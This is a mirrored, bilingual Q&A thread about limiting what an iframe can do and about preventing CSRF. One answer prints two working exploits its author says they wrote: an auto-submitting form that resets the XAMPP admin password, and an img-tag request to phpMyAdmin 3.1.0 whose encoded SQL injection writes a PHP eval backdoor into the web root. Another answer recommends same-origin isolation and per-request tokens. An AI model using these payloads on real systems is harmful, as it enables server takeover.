如何防止涉及嵌入式 iframe 的 CSRF/XSRF 攻击？

发布于 2024-08-19 08:08:50 字数 2205 浏览 2 评论 0原文

有没有办法限制 iframe 在父级中可以执行的操作？我正在寻找的是围绕 Javascript 的安全模型，看起来像：

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
  Deny All;
  Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
  Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

'trusted.html' 看起来像：

<html><body>
<script type="text/javascript">
function InternalCall()
{
  window.parent.AllowedToAccess();
}

function InternalCall2()
{
  window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
  Allow javascript:document.body.offsetHeight;
  Allow javascript:document.title;
}

script.untrusted {
  Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>

和 'SomethingIShouldnt.php' 看起来像：

NotAllowedToAccess();

和 'untrusted.js' 看起来像：

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

（呃...抱歉去太过分了。）

您会注意到 HTML 代码中不存在“安全”标记。我正在考虑类似 CSS 选择器声明，并混合一些类似 Apache 的安全语法来定义规则。（我没有使用 window.parent 规则，但它希望为浏览器阻止跨站点脚本展示一个不错的解决方法，这确实是非常令人沮丧的工作 - “我相信父窗口只能访问我的窗口的高度，并且标题”）。我希望这样的东西已经以某种形式存在（甚至是规范草案）。但恐怕答案是否定的。

这可以做到吗（即使是部分做到）？如果没有，那么我需要与谁交谈才能实现这样的事情（标准委员会或浏览器实现者）？当然，假设这有任何意义吗？

原文

Is there a way to restrict what an iframe is allowed to do in the parent? What I am looking for is a security model surrounding Javascript that looks something like:

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
  Deny All;
  Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
  Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

Both 'trusted.html's looks like:

<html><body>
<script type="text/javascript">
function InternalCall()
{
  window.parent.AllowedToAccess();
}

function InternalCall2()
{
  window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
  Allow javascript:document.body.offsetHeight;
  Allow javascript:document.title;
}

script.untrusted {
  Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>

And 'SomethingIShouldnt.php' looks like:

NotAllowedToAccess();

And 'untrusted.js' looks like:

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

(Uh...sorry about going overkill.)

You will note the non-existent 'security' tag in the HTML code. I was thinking something along the lines of CSS selector-ish declarations with some Apache-like security syntax mixed in to define rules. (I didn't utilize the window.parent rules, but it hopefully demonstrates a decent workaround to browsers blocking cross-site scripting that really is quite frustrating to work with - "I trust the parent window to access only the height of my window and the title"). I am hoping something like this already exists in some form (even a draft spec). But I'm afraid the answer will be 'no'.

Can this be done (even partially)? If not, then who do I need to talk to so that something like this gets implemented (Standards committee or browser implementers)? Assuming, of course, this even makes any sense?

分享到QQ

分享到微博

如果你对这篇内容有疑问，欢迎到本站社区发帖提问参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。

发布评论

需要登录才能够评论，你可以免费注册一个本站的账号。

别低头，皇冠会掉 2024-08-26 08:08:50

简短的回答是否定的，XSRF 与 iframe 无关。

伪造的请求是否来自 iframe 并不重要。伪造的请求必须来自另一台服务器，攻击者才能利用它。黑客使用 iframe 是因为它们可用于在 XSRF 漏洞利用中伪造发布请求，因为该漏洞利用必须使用 JavaScript 自动提交论坛。这是我针对 XAMPP 编写的真实 XSRF 漏洞，它更改了管理密码。最好在 iframe 中执行此 javascript/html，这样受害者就看不到它，但此漏洞可能会在没有 iframe 的情况下重定向整个窗口，并且仍然会更改管理员的密码。

<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

但如果 XSRF 攻击是基于 GET 的，那么 iframe 对攻击者没有帮助。最好使用 img 标签在受害者浏览器上自动发送伪造的请求。这是我为 phpMyAdmin 3.1.0 编写的另一个漏洞。这会在 Web 根目录中上传一个 php 后门。这个漏洞利用非常棒，因为它可以在不启用任何脚本的情况下工作并影响大量系统。

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

The short answer is no, XSRF has nothing to do with iframes.

It doesn't matter if the forged request originates from an iframe. The forged request must originate from another server in order for an attacker to exploit it. Hackers user iframes because they can be useful for forging post requests in an XSRF exploit because the exploit must use javascript to automatically submit a forum . Here is a real world XSRF exploit I wrote against XAMPP which changes the administrative password. Its best to execute this javascript/html in an iframe so it is invisible to the victim, but this exploit could just redirect the whole window without an iframe and it will still change the Admin's password.

<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

But if the XSRF attack is GET based, then an iframe doesn't help an attacker. Its better to use an img tag to automatically send the forged request on the victims browser. Here is another exploit of mine which was written for phpMyAdmin 3.1.0. This uploads a php backdoor in the web root. This exploit is awesome because it works with noscript enabled and affects a TON of systems.

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

回复收藏 0 原文

倾城月光淡如水﹏ 2024-08-26 08:08:50

您可以使用同源策略 (SOP) 对您有利。

将 iframe src 设置为不同的端口、子域或域，iframe 将无法访问父内容。

即：对于页面

http://www.mydomain.com/mypage.html

和 iframe，以下之一

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

但如果您仅依赖页面中可用的 cookie，这不会阻止 CSRF。
如果有人知道如何在您的服务器上发布请求，他就能够做到这一点。

防止这种情况的最简单方法是在您的页面中为每个请求传递一个 javascript 变量（SOP 无法从 iframe 访问）。

您可能感兴趣的东西，并且对垃圾邮件感到抱歉，正如我今天已经在 SO 上发布的那样，我们使用 iframe 来沙箱 JSONP 调用，但为了在它们之间启用安全的字符串通信。

这是说明< /a> 它是如何工作的，并且有一个演示页面可以查看它的运行情况。

You can use the Same Origin Policy(SOP) to your advantage.

Set the iframe src to either a different port, subdomain or domain, and the iframe will not be able to access the parent content.

ie: for the page

http://www.mydomain.com/mypage.html

and for the iframe, one of the following

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

But this won't prevent CSRF if you rely only on a cookie available in your page.
If someone knows how to POST a request on your server, he will be able to do it.

The easiest way to prevent this is to have in your page a javascript variable(inaccessible from the iframe by the SOP) that you pass for each of your request.

Something that may interest you, and sorry for the spam, as I already posted today on SO something about it, we use an iframe to sandbox JSONP calls, but to enable a secured string communication between them.

Here is the description of how it work, and there is a demo page to see it running.

回复收藏 0 原文

~没有更多了~